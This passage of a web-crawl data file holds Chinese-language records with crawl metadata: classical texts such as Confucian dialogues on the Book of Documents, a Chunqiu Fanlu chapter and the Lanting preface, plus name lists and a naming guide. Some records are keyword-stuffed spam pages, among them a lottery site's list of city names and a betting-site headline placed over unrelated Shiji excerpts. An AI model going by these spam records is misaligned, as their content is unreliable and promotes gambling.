孙墨龙 孙坚奋 孙元富 孙东正 江仁元 江继甚 朱学达 朱学德 邢增庆 许 光 任全书 乔明和 毕和生 张 君 张 正 张 伟 张 弩 张连之 张百行 张铭元 张建智 张秀岭 张其凤 张鲁家 张德政 张乃森 张炳南 张本友 张树林 张立涛 张建铭 张振国 张剑萍 张肇瑞 张非子 张国英 张镜远 张承宗 张世易 张开贤 张仲亭 张士栋 张逊三 张茂荣 张锡城 张业法 李 越 李 元 李春雷 李建国 李茂芳 李毓遴 李贵钦 李哲先 李福崇 李福增 李连崧 李向东 李储恩 李学斌 李万柱 冷继读 邵 岩 邵世慧 邵敬讷 陈建民 陈 铸 陈寿荣 陈威光 陈本勇 陈梗桥 陈衍绪 宋 歌 宋殿香 宋文建 宋道永 何冠麟 何江林 何爱民 何心振 杜显震 邹振亚 吴 耀 吴勇军 苏昭明 苏东河 杨宝敏 杨从强 杨在茂 杨崇进 杨学峰 肖振峰 陆明君 汪海权 武 斌 武永焕 武晓临 苗枫林 单国防 范正红 范国强 林光旭 林建敏 林凤云 林书香 郑训佐 郑小宇 郑培亮 孟繁成 孟庆柏 孟鸿声 孟庆星 岳经一 岳国锋 柳志光 柳中朝 修士良 侯玉麟 侯西成 侯宇爽 侯承义 姜绍华 姜玉松 姜伯超 荆向海 俞黎华 种炳铮 姚东升 姚山晨 胡元田 赵 引 赵 明 赵长刚 赵世清 赵凤砚 赵汝君 赵卫东 赵学伦 赵德成 赵子诚 赵立新 赵庆元 施邦华 娄以忠 段玉鹏 贺中祥 徐 明 徐 伟 徐 超 徐叶翎 徐国轩 徐永田 秦 英 秦 玉 秦吉良 栾明贤 耿 飞 耿 彬 耿玉亮 袁玉森 袁承光 袁有槟 袁相富 顾亚龙 郭 强 郭 立 郭子宣 郭庆祥 郭洪亮 高 岱 高 靖 高东岳 高景林 高庆荣 高宝庆 高小岩 贾 鹏 贾敦超 陶厚先 黄 斌 黄廷惠 梁 修 梁有新 戚立江 韩延燕 韩冬冰 傅合远 傅小泉 董 玮 董文旭 董志强 蒋正和 蒋开征 蒋华亭 谢孔宾 谢金伯 温元华 褚衍举 蒯 宪 赖 非 裴墨石 綦宏伟 翟卫民 蔡金山 蔡金山 蔡省庐 潘卫东 潘英琪 潘景年 潘汉箎 颜世举 燕守谷 魏启后 魏永年 戴 军 戴金梁 山之南 葛进战 王 磊 王玉玺 王世举 王梦凡 卞葆彤 丛荣启 孙仁铭 关天骏 刘宗汉 许 明 任 真 辛显令 庄步金 李予昂 张维健 张叔愚 陈左黄 杜颂琴 孟庄泰 姜乐平 赵 元 高 东 高吉杰 董凤基 鲁 特 孙乃全 刘 毅 李英令 苏剑君 杜西维 赵子富 于胜生 毛智华 方建光 仇 东 尹 芾 王 瑞 王 岩 王士杰 王敏新 王 雷 王飞虎 王琪璋 王奎强 王始钧 王杰昌 王培伟 王春生 王学杰 王汉起 王维志 王龙田 王承典 白 爽 宁全之 田泰珠 毕玉奇 毕红文 巩作义 巩海涛 许洪国 许好成 任艳梅 任宝忠 朱 民 朱春生 朱秀利 刘 元 刘 石 刘 建 刘 咏 刘宗超 刘从强 刘希龙 刘从智 刘升语 孙长业 孙建军 孙光磊 孙成振 孙晋海 吕伟光 庄泽智 阴元炬 李 波 李 樯 李溪源 李远见 李国柱 李熙孔 吴 苓 何晋云 陈 靖 陈锡山 陈增胜 陈金言 陈彦豪 陈师超 杨 雯 杨 静 杨中良 杨乃瑞 杨秋平 张 峰 张 伟 张 伟 张星斗 张国永 张同君 张青春 张法舜 张瑞民 张志庆 张杰三 张仁德 张卫华 张国华 张灿森 宋秉民 邹方臣 林 玲 林中全 苗向阳 柳红海 姚素华 赵 准 赵向森 赵雪松 宫秀芬郝守波 娄尚坤 娄立新 姜悦新 侯军强 郭 强 郭继常 郭清山 徐 林 徐华东 徐俊峰 徐广征 殷永泉 殷延国 曹仕强 康义军 高 石 隋守训 谢 瑞 谢长伟 嵇小军 鲁大东 褚衍志 褚衍兴 翟永华 翟建平 管杯君\n*请认真填写需求信息,我们会在24小时内与您取得联系。","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/orenevents.com\/baiyunxiang\/96.html","date":"2019-07-20T13:32:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526517.67\/warc\/CC-MAIN-20190720132039-20190720154039-00264.warc.gz","language":"lzh","language_score":0.48755005,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4875500500202179, \"cmn_Hani_score\": 0.38150539994239807, \"nan_Hani_score\": 0.11500249058008194, \"wuu_Hani_score\": 0.012525136582553387}","num_words":1734,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.277,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.495,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子张问曰、圣人受命必受诸天而书云受终於文祖。何也。孔子曰、受命於天者。汤武是也。受命於人者。舜禹是也。夫不读诗书易春秋则不知圣人之心。又无以别尧舜之禪汤武之伐也。\n子张问曰、礼丈夫三十而室。昔者舜三十徵庸。而书云有鰥在下曰虞舜何谓也。曩师闻诸夫子曰、圣人在上。君子在位。则内无怨女。外无旷夫。尧為天子而有鰥在下。何也。孔子曰夫男子二十而冠。冠而后娶。古今通义也。舜父顽母嚚。莫克图室家之端焉。故逮三十而谓之鰥也。诗云娶妻如之何、必告父母、父母在则宜图婚。若巳歿则巳之娶必告其庙。会舜之鰥。乃父母之顽嚚也。虽尧為天子。其如舜何。\n子夏问书大义。子曰吾於帝典、见尧舜之圣焉於大禹、皋陶謨、益稷、见禹稷皋陶之忠勤功勋焉。於洛誥、见周公之德焉。故帝典可以观美。大禹謨禹贡可以观事。皋陶謨益稷可以观政。洪范可以观度。谓皇极彝伦之度秦誓可以观义。五誥可以观仁。甫刑可以观诫。通斯七者。则书之大义举矣。孔子曰、书之於事也。远而不阔。近而不迫。志尽而不怨。辞顺而不■。吾於高宗肜日、见德有报之疾也。茍由其道致其仁。则远方归志而致其敬焉。吾於洪范、见君子之不忍言人之恶而质人之美也。发乎中而见乎外以成文者。其唯洪范乎。\n子张问曰、尧舜之世。一人不刑而天下治。何则。以教诚而爱深也。龙子以為一夫而被以五刑敢问何谓。子曰不然五刑所以佐教也。龙子未可谓能為书也。\n子夏读书既毕而见於夫子。夫子谓曰子何為於书。子夏对曰书之论事也。昭昭然若日月之代明。离离然若星辰之错行。上有尧舜之道。下有三王之义。凡商之所受书於夫子者。志之於心弗敢忘。虽退而穷居河济之间。深山之中。作壤室。编蓬户。常於此弹琴以歌先王之道。则可以发愤慷喟忘巳贫贱。故有人亦乐之。无人亦乐之。上见尧舜之德。下见三王之义。忽不知忧患与死也。夫子愀然变容。曰嘻。子殆可与言书矣。虽然。其亦表之而巳未睹其里也。夫闚其门而不入其室。恶睹其宗庙之奥百官之美乎。\n宰我问书云纳于大麓烈风雷雨弗迷。何谓也。孔子曰、此言人事之应乎天也。尧既得舜。歷试诸难。巳而纳之於尊显之宫。使大录万机之政。是故阴阳清和。五星不悖。烈风雨各以其应。不有迷错愆伏。明舜之行合於天也。\n宰我曰、敢问禋于六宗何谓也。孔子曰、所宗者六。皆洁祀之也。埋少牢於九昭。所以祭时也。祖迎於坎坛。所以祭寒暑也。主於郊宫。所以祭时也。夜明所以祭月也。幽滎所以祭星也。雩滎。所以祭水旱也。禋於六宗。此之谓也。\n书曰、兹予大享于先王尔祖其从与享之。季桓子问曰、此何谓也。孔子曰、古之王者。臣有大功。死则必祀之於庙。所以殊有绩劝忠勤也。盘庚举其事以厉其世臣故称焉。桓子曰、天子之臣有大功者。则既然矣。诸侯之臣有大功者。可以如之乎。孔子曰劳能定国。功加於民。大臣死难。虽食之公庙可也。桓子曰、其位次如何。孔子曰、天子诸侯之臣。生则有列於朝。死则有位於庙其序一也。\n书曰、维高宗报上甲微。上甲微契后八世汤之先也定公问曰、此何谓也。孔子对曰、此谓亲尽庙毁有功而不及祖。有德而不及宗。故於每岁之大尝而报祭焉。所以昭其功德也。公曰先君僖公功德前行。或作前列可以与於报乎。孔子曰丘闻昔虞夏商周、以帝王行此礼者则有矣。自此以下。未之知也。\n定公问曰、周书所谓庸庸祗祗威威显民。何谓也。孔子对曰、不失其道。明之於民之谓也。大能用可用则正治矣。敬可敬则尚贤矣。畏可畏则服刑恤矣。君审此三者以示民。而国不兴。未之有也。\n子张问书云奠高山。何谓也。孔子曰、高山五岳。定其差秩。祀所视焉。子张曰其礼如何。孔子曰、牲币之物。五岳视三公。小名山视子男。子张曰、仁者何乐於山。孔子曰夫山者岿然高。子张曰、高则何乐尔。孔子曰、夫山、草木植焉。鸟兽蕃焉。财用出焉。直而无私焉。四方皆伐焉。直而无私。兴吐风云。以通乎天地之间。阴阳和合。雨露之泽。万物以成。百姓咸饗。此仁者之所以乐乎山也。\n孟懿子问书曰、钦四邻。何谓也。孔子曰、王者前有疑、后有丞、左有辅、右有弼、谓之四近。言前后左右近臣当畏敬之。不可以非其人也。周文王胥附奔輳先后御侮谓之四邻。以免乎羑里之害。懿子曰、夫子亦有四邻矣。孔子曰、吾有四友焉。自吾得回也。门人加亲是非胥附乎。自吾得赐也。远方之士日至是非奔輳乎。自吾得师也。前有光后有辉是非先后乎。自吾得仲由也。恶言不至於门是非御侮乎。孔子见齐景公。梁丘据自外而至。公曰何迟。对曰陈氏戮其小臣。臣有辞。為是故迟。公笑而目孔子。曰周书所谓明德慎罚。陈子明德也。罚人而有辞。非不慎矣。孔子答曰、昔康叔封卫。统三监之地。命為孟侯。周公以成王之命作康誥焉。称述文王之德。以成敕诫之文。其书曰惟乃丕显考文王。克明德慎罚。克明德者。能显用有德举而任之也。慎罚者并心而虑之。眾平然后行之。致刑错也。此言其所任不失德。所罚不失罪不谓巳德之明也。公曰寡人不有过言。则安得闻吾子之教也。\n书曰其在祖甲不义惟王。公西赤曰闻诸晏子、汤及太甲、武盯祖乙、天下之大君。夫太甲為王。居丧行不义。同称君。何也。孔子曰、君子之於人。计功而除过。太甲即位。不明居丧之礼。而于冢宰之政。伊尹放之於桐。忧思三年。追悔前愆。起而復位。谓之明王。以此观之。虽四於三王。不亦可乎。\n鲁哀公问书■夔曰於予击石拊石百兽率舞庶尹允谐。何谓也。孔子对曰此言善政之化乎物也。古之帝王功成作乐。其功善者其乐和。乐和则天地犹且应之。况百兽乎。夔為帝舜乐正。实能以乐尽治理之情。公曰然则政之大本莫尚夔乎。孔子曰、夫乐所以歌其成功。非政之本也。眾官之长。既咸熙熙。然后乐乃和焉。公曰吾闻夔一足有异於人。信乎。孔子曰昔重黎举夔而进。又欲求人而佐焉。舜曰夫乐天地之精也。唯圣人為能和六律。均五音。知乐之本。以通八风夔能若此。一而足矣。故曰一足。非一足也。公曰善。","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.zggdwx.com\/kongcongzi\/2.html","date":"2019-09-18T02:49:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573176.51\/warc\/CC-MAIN-20190918024332-20190918050332-00204.warc.gz","language":"lzh","language_score":0.6968294382,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6968294382095337, \"cmn_Hani_score\": 0.15415337681770325, \"nan_Hani_score\": 0.038049813359975815, \"jpn_Jpan_score\": 0.02727178856730461, \"wuu_Hani_score\": 0.02603141777217388, \"yue_Hani_score\": 0.010675122030079365}","num_words":14,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.697,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林於錦 校對提供\n董子春秋繁露卷第七\n堯舜不擅移湯武不專殺第二十五\n堯舜何緣而得擅移天下哉?《孝經》之語曰:「事父孝,故事天明。」事天與父,同禮也。今父有以重予子,子不敢擅予它人,人心皆然。則王者亦天之子也,天以天下予堯舜,堯舜受命於天而王天下,猶子安敢擅以所重受於天者予它人也。天有不以予堯舜漸奪之,故明為子道,則堯舜之不私傳天下而擅移位也,無所疑也。儒者以湯武為至賢大聖也,以為全道究義盡美者,故列之堯舜,謂之聖王,如法則之。 (舊謂之倒今改正如與而同) 今足下以湯武為不義,然則足下之所謂義者,何世之王也?曰;弗知。弗知者,以天下王為無義者邪?其有義者而足下不知邪?則荅之以神農。應之曰:神農氏之為天子,與天地俱起乎?將有所伐乎? (案自此以下伐字俱疑當作代) 神農氏有所伐可,湯武有所伐獨不可,何也?且天之生民,非為王也,而天立王以為民也。故其德足以安樂民者,天予之;其惡足以賊害民者,天奪之。《詩》云:「殷士膚敏,裸將於京,侯服於周,天命靡常。」言天之無常予,無常奪也。故封泰山之上。禪梁父之下,易姓而王,德如堯舜者七十二人。王者,天之所予也,其所伐皆天之所奪也。今唯以湯武之伐桀紂為不義,則七十二王亦有伐也。推足下之說,將以七十二王為皆不義也!故夏無道而殷伐之,殷無道而周伐之,周無道而秦伐之,秦無道而漢伐之。有道伐無道,此天理也,所從來久矣,寧能至湯武而然邪? (能字疑衍) 夫非湯武之伐桀紂者,亦將非秦之伐周,漢之伐秦, (本脫此四字今案當有) 非徒不知天理,又不明人禮。禮,子為父隱惡。今使伐人者而信不義,當為國諱之,豈宜如誹謗者,此所謂一言而再過者也。君也者,掌令者也,令行而禁止也。今桀紂令天下而不行,禁天下而不止,安在其能臣天下也?果不能臣天下,何謂湯武弒?","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.chineseclassic.com\/content\/1299","date":"2019-10-23T18:33:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987835748.66\/warc\/CC-MAIN-20191023173708-20191023201208-00087.warc.gz","language":"lzh","language_score":0.490716368,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4907163679599762, \"cmn_Hani_score\": 0.42385557293891907, \"nan_Hani_score\": 0.05168560892343521, \"wuu_Hani_score\": 0.013415326364338398, \"jpn_Jpan_score\": 0.01251763105392456}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.622,"perplexity_score":500.0,"cluster_detection":1} +{"text":"蘭亭集序\n永和九年、歳在癸丑、暮春之初、會于會稽山陰之蘭亭、脩稧事也。羣賢畢至、少長咸集。此地有崇山峻領、茂林脩竹;又有清流激湍、暎帶左右。引以為流觴曲水、列坐其次。\n雖無絲竹管弦之盛、一觴一詠、亦足以暢敘幽情。是日也、天朗氣清、惠風和暢;仰觀宇宙之大、俯察品類之盛;所以遊目騁懷、足以極視聽之娛、信可樂也。\n夫人之相與、俯仰一世、或取諸懷抱、悟言一室之內、或因寄所託、放浪形骸之外。雖趣舍萬殊、靜躁不同、當其欣於所遇、暫得於己、怏然自足、不知老之將至。及其所之既倦、情随事遷、感慨係之矣。向之所欣、俛仰之間以為陳迹、猶不能不以之興懷;况脩短随化、終期於盡。古人云、「死生亦大矣。」豈不痛哉!\n每攬昔人興感之由、若合一契、未嘗不臨文嗟悼、不能喩之於懷。固知一死生為虛誕、齊彭殤為妄作。後之視今、亦由今之視昔、悲夫!故列敘時人、録其所述、雖世殊事異、所以興懷、其致一也。後之攬者、亦將有感於斯文。","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ja.wikisource.org\/wiki\/%E8%98%AD%E4%BA%AD%E9%9B%86%E5%BA%8F","date":"2019-12-07T01:40:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540491871.35\/warc\/CC-MAIN-20191207005439-20191207033439-00378.warc.gz","language":"lzh","language_score":0.4900784492,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4900784492492676, \"cmn_Hani_score\": 0.32164424657821655, \"jpn_Jpan_score\": 0.05153737962245941, \"nan_Hani_score\": 0.04301205649971962, \"wuu_Hani_score\": 0.03353697434067726, \"yue_Hani_score\": 0.029485506936907768}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.481,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2018吉林省長春市中考語文真題試卷【高清圖片版】\n?\n旺彩彩票 泰安 大同 朔州 桓台 丹阳 顺德 博尔塔拉 延安 临沂 姜堰 泰安 日土 海宁 防城港 漯河 石狮 山东青岛 张北 长葛 龙口 博尔塔拉 蚌埠 鹰潭 吉林长春 东阳 盐城 黄山 清远 乐清 石嘴山 海丰 慈溪 乌兰察布 丹东 桐乡 西双版纳 眉山 广安 广西南宁 台中 克孜勒苏 台中 荆门 巴彦淖尔市 海宁 广安 象山 红河 高密 和县 建湖 库尔勒 五家渠 深圳 安康 海南 中山 瑞安 长垣 保定 仙桃 陇南 揭阳 丹阳 三沙 自贡 黔西南 库尔勒 通辽 甘孜 阜新 梅州 安吉 朔州 西藏拉萨 安庆 诸城 莱州 大连 鹤岗 宜春 七台河 台湾台湾 广元 牡丹江 迁安市 伊犁 海丰 新乡 清徐 正定 湖州 周口 瓦房店 大丰 通辽 三沙 涿州 溧阳 遵义 桂林 洛阳 芜湖 黄石 楚雄 遂宁 丹阳 钦州 临汾 廊坊 伊犁 高密 锦州 赤峰 瑞安 海西 中卫 盘锦 上饶 白山 防城港 台州 邳州 库尔勒 中山 如东 鹤岗 绥化 承德 榆林 白城 丹阳 福建福州 陇南 偃师 龙岩 海安 克拉玛依 江西南昌 百色 张家界 山东青岛 日喀则 蓬莱 吉安 林芝 潍坊 龙岩 铜陵 安徽合肥 绍兴 甘南 衢州 扬中 伊犁 果洛 松原 滕州 延边 黄冈 阿勒泰 诸暨 桐城 鸡西 海安 克拉玛依 广西南宁 巴中 喀什 三门峡 大同 绵阳 遵义 甘孜 张掖 朝阳 五指山 广汉 安阳 临猗 丹阳 白城 陇南 三亚 迁安市 雅安 晋中 大庆 芜湖 云南昆明 安庆 克孜勒苏 日照 禹州 阿拉善盟 武安 德清 佛山 乌兰察布 漳州 宁德 醴陵 海丰 五指山 阳春 赤峰 怀化 唐山 河北石家庄 宁波 果洛 新沂 商丘 林芝 仁怀 赵县 自贡 那曲 巢湖 深圳 乌海 黔南 常德 新乡 黔东南 嘉峪关 晋城 黄山 岳阳 怒江 恩施 镇江 六盘水 武夷山 日照 巴音郭楞 葫芦岛 泗阳 巴彦淖尔市 衢州 三沙 仁寿 无锡 阿里 海南 改则 三门峡 阿坝 湘西 德清 甘肃兰州 海西 安顺 阿里 朝阳 东营 黔西南 定西 大庆 恩施","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.tywtcn.com\/zhongkao\/33473.html","date":"2019-12-07T16:04:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540500637.40\/warc\/CC-MAIN-20191207160050-20191207184050-00018.warc.gz","language":"lzh","language_score":0.4031315446,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.40313154458999634, \"cmn_Hani_score\": 0.3583472669124603, \"nan_Hani_score\": 0.22609840333461761}","num_words":262,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.302,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n将进酒 君不见,黄河之水天上来,奔流到海不复回。君不见,高堂明镜悲白发,朝如青丝暮成雪。人生得意须尽欢,莫使金樽空对月。天生我材必有用,千金散尽还复来。烹羊宰牛且为乐,会须一饮三百杯。岑夫子,丹丘生,将进酒...\n陋室铭 山不在高,有仙则名。水不在深,有龙则灵。斯是陋室,惟吾德馨。苔痕上阶绿,草色入帘青。谈笑有鸿儒,往来无白丁。可以调素琴,阅金经。无丝竹之乱耳,无案牍之劳形。南阳诸葛庐,西蜀子云亭。孔子云:何陋之有?\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&tag=Ua8BnQoHEv&tagLabel=%E5%92%8F%E7%89%A9.htm","date":"2020-01-20T17:19:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250599718.13\/warc\/CC-MAIN-20200120165335-20200120194335-00122.warc.gz","language":"lzh","language_score":0.4905746877,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4905746877193451, \"cmn_Hani_score\": 0.3755010664463043, \"nan_Hani_score\": 0.09627555310726166, \"wuu_Hani_score\": 0.018256355077028275, \"yue_Hani_score\": 0.012048574164509773}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.696,"perplexity_score":500.0,"cluster_detection":1} +{"text":"凯发体育Twitter创始人宣布捐献10亿美元抗击新冠病毒\n其明年,天子与诸将议曰:\"翕侯赵信为单于画计,常以为汉兵不能度幕轻留,今大发士卒,其势必得所欲。\"是岁元狩四年也。\n孔子曰:\"侍于君子有三愆:言未及之而言谓之躁,言及之而不言谓之隐,未见颜色而言谓之瞽。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n天子乃思卜式之言,召拜式为中郎,爵左庶长,赐田十顷,布告天下,使明知之。\n是时既灭南越,越人勇之乃言\"越人俗信鬼,而其祠皆见鬼,数有效。昔东瓯王敬鬼,寿至百六十岁。後世谩怠,故衰秏\"。乃令越巫立越祝祠,安台无坛,亦祠天神上帝百鬼,而以鸡卜。上信之,越祠鸡卜始用焉。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mobile.guaiguaiji.com\/appdxtrj\/4804088.html","date":"2020-04-09T01:02:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371826355.84\/warc\/CC-MAIN-20200408233313-20200409023813-00307.warc.gz","language":"lzh","language_score":0.5041140914,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5041140913963318, \"cmn_Hani_score\": 0.3838290274143219, \"nan_Hani_score\": 0.030667196959257126, \"jpn_Jpan_score\": 0.01096272747963667, \"yue_Hani_score\": 0.010369724594056606}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.407,"perplexity_score":500.0,"cluster_detection":1} +{"text":"带子字的男孩名字霸气 子字取名男孩最高分 子配什么字好听男孩名\n用\"子\"字给小男孩取名还是挺合适的,名字是爸妈送给孩子最珍贵的礼物,因为是要伴随孩子们一辈子的,而用\"子\"给男孩入名,要怎么取才不会重名呢?不妨来参考下这些带子字的霸气好听高分男孩名吧!\n子字字典字义:\n子:本义为儿女,同有君子、骄子,也指天之骄子、有学问、有德行的人。部首五行属水;数理五行属火。\n子81数理:(吉祥 ):进取如意的增进繁荣数。\n1.古代指儿女,现专指儿子:子女、子孙、子嗣。\n2.植物的果实、种子:菜子、瓜子儿、子实。\n3.对人的称呼:男子、妻子、学子、才子。\n4.古代对人的尊称;称老师或称有道德、有学问的人:孔子、先秦诸子。\n5.附在名词、动词、形容词后,具有名词性(轻声):桌子、瘦子。\n用作人名寓指:人中豪杰、博学多才、淑质英才、人中龙凤。\n带子字的霸气好听最高分男孩名:(一般来说子字都放在第二个字)\n子垚 子淇 子窈 子骁 子慕 子弈 子极 子佩 子严 子路 子安 子笙\n子轲 子煜 子砚 子羡 子杭 子竹 子捷 子壕 子渊 子舟 子玄 子峰\n子宜 子有 子铭 子真 子赟 子哲 子滔 子易 子默 子诺 子瑄 子烨\n子腾 子宁 子寒 子升 子沂 子尧 子傲 子仪 子翔 子晞 子旭 子嵘\n子涛 子东 子晋 子乐 子凡 子天 子平 子荐 子于 子函 子喻 子夫\n子广 子峥 子云 子刚 子嘉 子奇 子庆 子泺 子亨 子利 子固 子威\n子康 子帅 子亮 子剑 子国 子偌 子建 子尘 子亿 子力 子圻 子学\n子弘 子实 子仁 子勇 子均 子孺 子强 子潍 子伟 子勤 子坚 子臻\n子彦 子伦 子华 子坤 子安 子彪 子石 子伯 子博 子坪 子宏 子彬\n子隆 子俊 子卫 子垠 子家 子征 子垒 子厚 子城 子宸 子德 子霆\n子信 子颜 子埔 子容 子志 子濯 子健 子友 子培 子章 子元 子发\n子基 子展 子恒 子廷 子光 子吉 子塑 子山 子悦 子毅 子克 子君\n子境 子岚 子懿 子世 子兴 子启 子增 子岩 子戈 子业 子兵 子和\n子墨 子岳 子成 子东 子军 子咏 子壮 子峰 子扬 子中 子冠 子哲\n子声 子川 子承 子义 子冬 子善 子夜 子希 子振 子仲 子杰 子晟","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/m.tianya999.com\/qiming\/2020\/0424\/19052137.html","date":"2020-07-14T03:47:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147917.99\/warc\/CC-MAIN-20200714020904-20200714050904-00064.warc.gz","language":"lzh","language_score":0.958370924,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9583709239959717, \"nan_Hani_score\": 0.03645595163106918}","num_words":195,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n陸浩明 麥明詩 馮盈盈 麥美恩 張秀文 朱智賢 陳雅思 劉穎鏇 謝東閔 吳業坤 丁子朗 楊潮凱 蔡思貝 餘德丞 林穎彤 伍富橋 關楚耀 範梓謙 盧思穎 林秀怡 陳曉華 黃文意 戴祖儀\n黃美棋 馮盈盈 陸浩 明戴祖儀 林穎彤\n汪明荃 森美 餘德丞 黎諾懿 林盛斌 張秀文 黃智賢 姚子羚 何遠東 黃建東 楊潮凱 何浩文 區永權 Patrick Sir 鄭詩君 陸永 李施嬅 海俊傑 譚俊彥 陳山聰 黃嘉雯 王菲 陳煒 湯洛雯 呂慧儀 張景淳 王君馨 鍾舒漫 糖妹 黃美棋 林奕匡 鄧佩儀 林淑敏 許家傑 黃智雯 趙希洛 商天娥 吳業坤 少爺佔 唐劍康 何雁詩 周志康 陸浩明 林穎彤 丁子朗 吳若希 戴祖儀 鄧卓殷 譚嘉儀 謝東閔 陳曉華 郭子豪 黃庭鋒 孔德賢 鄧智堅 黃子桐 鄧美欣\n林文龍 黃翠如 連詩雅 馬貫東 謝芷倫 黃嘉樂 蘇皓兒 顧定軒 陳自瑤 劉溫馨 袁潔儀 李任燊 李日升 姚浩政 孟希璘 王卓淇 黃芷晴 麥皓兒 鍾志光 陳志健 楊卓娜 馮素波 岑杏賢 冼灝英 溫裕紅 劉天龍 李寶君 李寶珊 翟鋒 邱晴 黃凱琪 陳靜堯 梁雯蔚 關浩揚 姚亦澧 林穎彤 盧偉文 吳珮如 伍富橋 潘冠霖 林靖文 何家銘 王浚聲 馬溱禧 黃韻娜 何晉樂 吳子衝 張詩欣 黃子桐 黃可盈 陳苑澄\n鄭裕玲 陸永 鄭詩君 馬國明 唐詩詠 梁嘉琪 張秀文 馮盈盈 張寶兒 袁文傑 高海寧 黎諾懿 阮小儀 田蕊妮 吳業坤 森美 朱千雪 宣萱 許紹雄 丁子朗 鄧佩儀 江嘉敏 餘德丞 陳煒 岑麗香 何遠東 胡鴻鈞 麥美恩 周奕瑋 江美儀 麥長青 吳若希 譚嘉儀 鄭俊弘 林穎彤 梁漢文 方力申 張曦雯 蔡思貝 陳嘉寶 賴慰玲 林欣彤 陳慧敏 範振鋒 林盛斌 黃翠如 陸浩明 王灝兒 梁釗峯 關楚耀 陳健安 陳山聰 陳敏之 周柏豪 袁偉豪 張敬軒 單立文 胡蓓蔚 苑瓊丹 姜皓文 鄭融 連詩雅 衛志豪 張致恆 黃智雯\n汪明荃 森美 蘇永康 餘德丞 周嘉洛 吳偉豪 伍詠薇 張明偉 阮政峯 陳松伶 梁嘉琪 麥美恩 麥明詩 郭子豪 張灼祥 陳家樂 黎燕珊 向海嵐 邵佩詩 陳曉華 陸浩明 胡定欣 胡蓓蔚 李施嬅 黃智雯 陳貝兒 袁偉豪 梁競徽 許紹雄 楊潮凱 鍾嘉欣 吳若希 王梓軒 楊千嬅 張振朗 